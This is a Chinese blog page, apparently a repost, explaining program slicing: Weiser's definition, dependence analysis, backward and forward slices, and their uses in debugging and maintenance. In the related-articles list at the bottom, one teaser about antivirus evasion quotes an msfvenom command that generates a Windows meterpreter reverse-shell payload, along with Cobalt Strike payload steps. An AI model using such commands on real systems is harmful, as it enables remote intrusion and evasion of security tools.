程序切片(定义+用途)

news2024/11/24 19:09:27

程序切片(定义+用途)

介绍
让我们假设我们测试了一个程序 p 并失败了(错误的
输出)。然后我们想找出导致失败(故障)的原因。
现在假设我们要更改程序的一部分。我们可能会问:程序的哪些其他部分受到影响
我们想找到导致失败的原因(什么是错误)?
我们想确定程序的哪些部分可以是受变化影响?
这两个问题都与依赖有关。它是一类程序简化技术。
我们将看到几个品种。在每个我们有:
我们必须保留程序行为(语义)的某些元素。
一些我们可以简化程序的方法。

调试:一种策略Tactic
我们可能会插入断点或存储/记录/输出某些变量在特定点的值。
这可能会告诉我们某些变量的值是在执行的某些时候是错误的。然后我们可以尝试确定错误值的原因。

更改代码:一种策略
这可以看作是确定哪些变量(在被更改的点 n 处)受到更改的影响。然后找出程序的哪些其他部分受到影响通过这些变量在 n 处的值。

一个共同的主题
程序切片Program Slicing 正是关于依赖性的,只是我们提取了一个代表这种依赖性的程序。

初始定义(Mark Weiser 于 1979 年提出)
程序 p 的一个(静态的,向后的)程序切片 s 是根据切片标准 (V , n) 构建,其中 V 是一组变量名,n 是程序点。
当要执行的下一个语句在 n 时,p 中的语句不能影响变量在V 的值可能是从 p 中移除以形成 s。
所以简化是通过删除代码。

定义的后果Consequences
我们可以删除任何不能影响值的语句V 中 n 处的任何变量。
唯一允许的简化是通过语句删除。
通常我们会查看程序的结尾(n 是最终节点)。
大多数用于生成程序的静态切片的算法都通过以下方式查看依赖性:
数据:赋给节点n0中变量x的值可以是在另一个节点 n 访问。
控制:n0可以判断节点n是否被执行。

不只是任何切片
程序始终是其自身的有效片段。
通常我们想要最小的切片。
但这个问题是不可计算的:没有总能返回最小切片的通用算法。
然而:有一些高效的算法通常可以产生商品切片。

关于 b 的结束切片例子:
在这里插入图片描述
切片的用途
(1)我们将谈谈切片的使用:调试与理解
(2)它也被用于:重复使用; 并行化; 测试
(3)切片的原始动机:
在测试中,我们可能会观察到我们在特定点得到了特定变量的错误值。
我们可以对这个变量/点使用切片来消除不可能是失败根源的语句
(4) 切片可以让我们提取更简单的子行为并简化问题,例如:
这个程序中的变量 x 会发生什么变化?
(5) 在程序维护中特别有用——尤其是当我们的遗留系统文档不足时。
(6)在反向切片backward slicing中,我们删除不影响的语句通过切片准则。在前向切片forward slicing中,我们删除不受影响的语句通过切片准则。
(7) 它允许我们提出以下问题:
代码的哪些部分受节点 n 处的变量 x?
(8) 特别适用于评估变更的影响(以及维护)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/596630.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1728_c语言标准库memcpy函数的简单使用

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com) 欢迎路过的YUAN类朋友相互交流,以下是我的联系方式: Email:greyzhang126.com 微信:grey0612 静态代码检测遇到了一处memcpy函数使用的错误&#…

如何DIY项目资源私有检测规则

本地资源检测是UWA推出的、面向于静态资源的全量分析。可以全面自动检测项目静态工程内各项资源、代码和设置,能够帮助项目组制定合理的资源与代码标准,及时发现潜在的性能问题和异常错误,建立有效的开发规范。 为了在游戏优化过程中持续与U…

计网之HTTPS的安全机制

文章目录 一. 什么是HTTPS?二. HTTPS中的加密机制(SSL/TLS)1. HTTP的安全问题2. 对称加密3. 非对称加密4. 中间人问题5. 证书 一. 什么是HTTPS? 在网络传输过程中, 存在着运营商劫持和一些黑客入侵这样的危险, 在之前只有HTTP的明文传输数据环境下, 这样的问题是有些泛滥的,…

java 利用poi根据excel模板导出数据(二)

本文是 java 利用poi根据excel模板导出数据(一) 的续篇 经常有poi的开发一定会碰到三个名词: HSSFWorkbook 、 XSSFWorkbook、SXSSFWorkbook; 这三个都是导出excel的形式,具体区别: HSSFworkbook,XSSF…

bert中文文本摘要代码(1)

bert中文文本摘要代码 写在最前面关于BERT使用transformers库进行微调 load_data.py自定义参数collate_fn函数BertDataset类主函数 tokenizer.py创建词汇表encode函数decode函数 写在最前面 熟悉bert+文本摘要的下游任务微调的代码,方便后续增加组件实现…

Vue.js+nodejs高校水电费缴费设备维修管理系统

本大学城水电管理系统管理员功能有个人中心,用户管理,领用设备管理,消耗设备管理,设备申请管理,设备派发管理,状体汇报管理,领用报表管理,消耗报表管理,班组报表管理&…

面向对象编程 实验二 MouseHit--SDUWH

来源网络。仅供参考 面向对象编程技术 实验二实验报告 1.实验要求 熟悉Visual Studio的环境与使用,创建一个新的工程以EasyWin为示例程序完成第一个Windows程序的编写、调试、运行。练习命令行的方式进行程序创建。 在理解Windows按键与鼠标的基础上,开发一个小型的打字…

feat:使用企业微信JS-SDK的onMenuShareAppMessage()实现点击转发自定义分享内容(TypeScript)

背景:企业微信应用使用企业微信JS-SDK的分享接口实现分享样式自定义 原生: 需要实现成: 企业微信JS-SDK 是企业微信面向网页开发者提供的 基于企业微信内 的网页开发工具包。 通过使用企业微信JS-SDK,网页开发者 可借助企业微信…

Python-shellcode免杀分离

#Python-原生态-MSF&CS&生成&执行代码 MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhostX.X.X.X lport6688 -f c CS-payload: 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位,注…

如何将完成的报告从 FastReport .NET 导出到 S3

FastReport .NET 报表生成器FastReport .NET是适用于.NET Core 3,ASP.NET,MVC和Windows窗体的全功能报告库。使用FastReport .NET,您可以创建独立于应用程序的.NET报告。 简单存储服务是一种用于存储大量数据的服务。该服务将存储的数据划分…

BERT在GLUE数据集构建任务(未完待续。。。)

0 Introduction 谷歌开源的BERT项目在Github上,视频讲解可以参考B站上的一个视频 1 GLUE部分基准数据集介绍 GLUE数据集官网GLUE数据集下载,建议下载运行这个.py脚本文件进行数据集的下载,如果连接无法打开,运行下面代码。运行…

想知道视频转音频怎么操作?快来看看这三种方法

在数字化时代,视频已成为人们生活、学习、工作中不可或缺的元素。不过,在某些情况下,仅通过视觉体验来获取信息可能并不方便或实用。比如,对于听障人士,他们无法通过视觉方式获取信息,但可以通过听觉方式接…

一文教你高速PCB信号完整性仿真怎么做

在高速PCB设计中,信号完整性是确保信号在电路板上传输过程中的稳定性和可靠性的重点,通过仿真工具进行信号完整性可帮助工程师在设计阶段解决信号完整性问题,从而优化电路板的性能和可靠性。那么如何做好PCB信号完整性仿真?下面来…

1.3 eBPF的工作原理初探

写在前面 上一节提到过,eBPF程序是面向BPF体系结构指令集编写的,它并不直接运行在Linux内核中,我们可以理解为它是运行在eBPF虚拟机,由eBPF虚拟机来执行eBPF字节码,就像java运行在jvm一样。 我们用一张原理图来看下eBPF程序的编译,加载,验证,钩子,映射等结点。 如上是…

Matlab查找整行为0的行号并记录

find函数 该函数可以查找非零元素的索引和值 例如: X 331 0 20 1 10 0 4 k find(X) %返回非零元素的索引号,即按列检索对应数值的序号 k_0 find(~X) %返回零元素的索引号 matlab检索索引号的方式如下:输出结…

CDN之域名管理操作流程简介

一、火伞云端配置 1、点击“域名管理”,找到需要配置的域名,点击“常规配置” 2、进入“域名配置”界面,点击“配置我的CNAME” 3、将要配置的CNAME配置到我的DNS,请复制此处的CNAME地址,同时打开您网站所属的DNS服务…

Linux 扩展磁盘空间

1. 为什么我的 Linux 磁盘空间不够用?/ 插入新的磁盘要怎么用? [注]:第一节基本是一些啰里啰唆的内容,想直接看如何操作,请直接跳转至第二小节🧐 很多人遇到这样的问题,当给一台新的主机安装上…

MySQL报错cannot add foreign key constraint解决方法

1 问题场景 利用Navicat对MySQL两张表想要进行外键关联时设置正确,但出现出现如下错误 2 原因分析 创建外键错误的原因大概有一下几个原因: 1、关联的两个字段的字段的类型不一致 2、设置外键删除时set null 3、两张表的引擎不一致 2.1 数据类型不一…

2023 下半年程序员生存指南!

见字如面,我是军哥! 最近看到 4 月份,我国青年失业率 20.4%,说实话这个数字相当的高呀! 另外,伴随最近若干大厂裁员,就这周就有两位读者跟我说被裁员了,我估计下半年的 IT 行业更是艰…

BR 5AP1130.156C-000

物料号: 5AP1130.156C-000 描述: 自动化装置面板 15.6" FullHD TFT - 1920 x 1080 像素 (16:9) - 多点触控(投射电容) - 开关柜安装 - 横向 - 用于 PPC900/PPC2100/PPC3100/ 联接模块 B&R ID 代码0xEC5D许可证 显示屏 类型TFT 彩色对角线…